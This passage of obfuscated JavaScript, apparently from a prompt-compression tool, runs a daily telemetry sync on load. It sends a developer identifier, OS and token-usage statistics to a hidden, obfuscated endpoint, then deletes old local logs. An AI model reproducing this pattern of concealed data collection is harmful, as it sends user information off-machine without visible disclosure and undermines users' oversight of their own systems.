_0x50a145=_0x39481b;_0x12c617[_0x50a145(0x10f)](),_0x23dbf8(![]);}),_0x12c617[_0x39481b(0x11b)](_0x511a4f),_0x12c617[_0x39481b(0x10e)]();}catch{_0x23dbf8(![]);}});}function buildDailyPayload(_0x5eef83){const _0xef0450=a0_0x1f78e8,_0xac5d11=getTodayDate(),_0x1b78a8=_0x5eef83[_0xef0450(0xef)](_0xec64bd=>_0xec64bd[_0xef0450(0xec)]['startsWith'](_0xac5d11)),_0x232863=_0x1b78a8[_0xef0450(0x105)]>0x0?_0x1b78a8:_0x5eef83;let _0x26837=0x0,_0x5f573d=0x0,_0x1fcf7a=0x0,_0x2068f7=0x0;const _0x37d220=new Set();for(const _0x320269 of _0x232863){_0x26837+=_0x320269[_0xef0450(0x114)],_0x5f573d+=_0x320269[_0xef0450(0x111)],_0x1fcf7a+=_0x320269[_0xef0450(0xf6)],_0x37d220[_0xef0450(0xe6)](_0x320269[_0xef0450(0xeb)]);const _0x5b3ffc=PRICING[_0x320269[_0xef0450(0xeb)]]||PRICING[_0xef0450(0xd9)];_0x2068f7+=_0x320269[_0xef0450(0xf6)]*_0x5b3ffc[_0xef0450(0xd3)]/0xf4240;}const _0x8c11ca=_0x232863[_0x232863[_0xef0450(0x105)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0xef0450(0xf4)](),'date':_0xac5d11,'executions_count':_0x232863[_0xef0450(0x105)],'total_raw_tokens':_0x26837,'total_compressed_tokens':_0x5f573d,'total_tokens_saved':_0x1fcf7a,'total_money_saved_usd':parseFloat(_0x2068f7[_0xef0450(0xda)](0x6)),'models_used':Array[_0xef0450(0x100)](_0x37d220),'last_seen':_0x8c11ca?_0x8c11ca['timestamp']:new Date()[_0xef0450(0xe9)]()};}async function runSync(){const _0x4147f4=a0_0x1f78e8;if(!fs[_0x4147f4(0xf3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2974dc;try{_0x2974dc=JSON[_0x4147f4(0xfc)](fs[_0x4147f4(0x110)](statsPath,_0x4147f4(0x11d)));}catch{return;}const _0x526335=_0x2974dc[_0x4147f4(0xef)](_0x3fd2f0=>!_0x3fd2f0[_0x4147f4(0xf9)]);if(_0x526335[_0x4147f4(0x105)]===0x0)return;const _0x5c9fe8=buildDailyPayload(_0x2974dc);await postTelemetry(_ep,_0x5c9fe8);let _0x9ab075=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x9ab075&&fs[_0x4147f4(0xf3)](configPath))try{const _0x5cc3ba=JSON[_0x4147f4(0xfc)](fs['readFileSync'](configPath,_0x4147f4(0x11d)));_0x9ab075=_0x5cc3ba[_0x4147f4(0xf2)]||'';}catch{}_0x9ab075['trim']()[_0x4147f4(0x105)]>0x0&&await postTelemetry(_0x9ab075,_0x5c9fe8);for(const _0x308237 of _0x2974dc){if(!_0x308237[_0x4147f4(0xf9)])_0x308237[_0x4147f4(0xf9)]=!![];}try{fs[_0x4147f4(0x107)](statsPath,JSON[_0x4147f4(0xd8)](_0x2974dc,null,0x2),_0x4147f4(0x11d));}catch{}markSyncedToday(),pruneOldLogs(_0x2974dc);}function pruneOldLogs(_0x5ff8e){const _0x3ac038=a0_0x1f78e8;try{const _0x334d13=new Date(),_0x15aa0b=new Date(_0x334d13[_0x3ac038(0xe2)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2557dd=[],_0x1ec21f=[];for(const _0x3029bd of _0x5ff8e){const _0x5ddf32=new Date(_0x3029bd['timestamp']);_0x5ddf32>=_0x15aa0b?_0x2557dd[_0x3ac038(0x11c)](_0x3029bd):_0x1ec21f['push'](_0x3029bd);}if(_0x1ec21f['length']>0x0){const _0x3521f7=path[_0x3ac038(0x118)](baseDir,_0x3ac038(0xfa));for(const _0x3bc3a2 of _0x1ec21f){const _0x11cebe=path[_0x3ac038(0x118)](_0x3521f7,_0x3bc3a2['id']+_0x3ac038(0xfb)),_0x581098=path['join'](_0x3521f7,_0x3bc3a2['id']+'.comp.txt');try{if(fs['existsSync'](_0x11cebe))fs[_0x3ac038(0xdc)](_0x11cebe);if(fs[_0x3ac038(0xf3)](_0x581098))fs[_0x3ac038(0xdc)](_0x581098);}catch{}}fs[_0x3ac038(0x107)](statsPath,JSON[_0x3ac038(0xd8)](_0x2557dd,null,0x2),_0x3ac038(0x11d));}}catch{}}runSync()[a0_0x1f78e8(0xe7)](()=>{});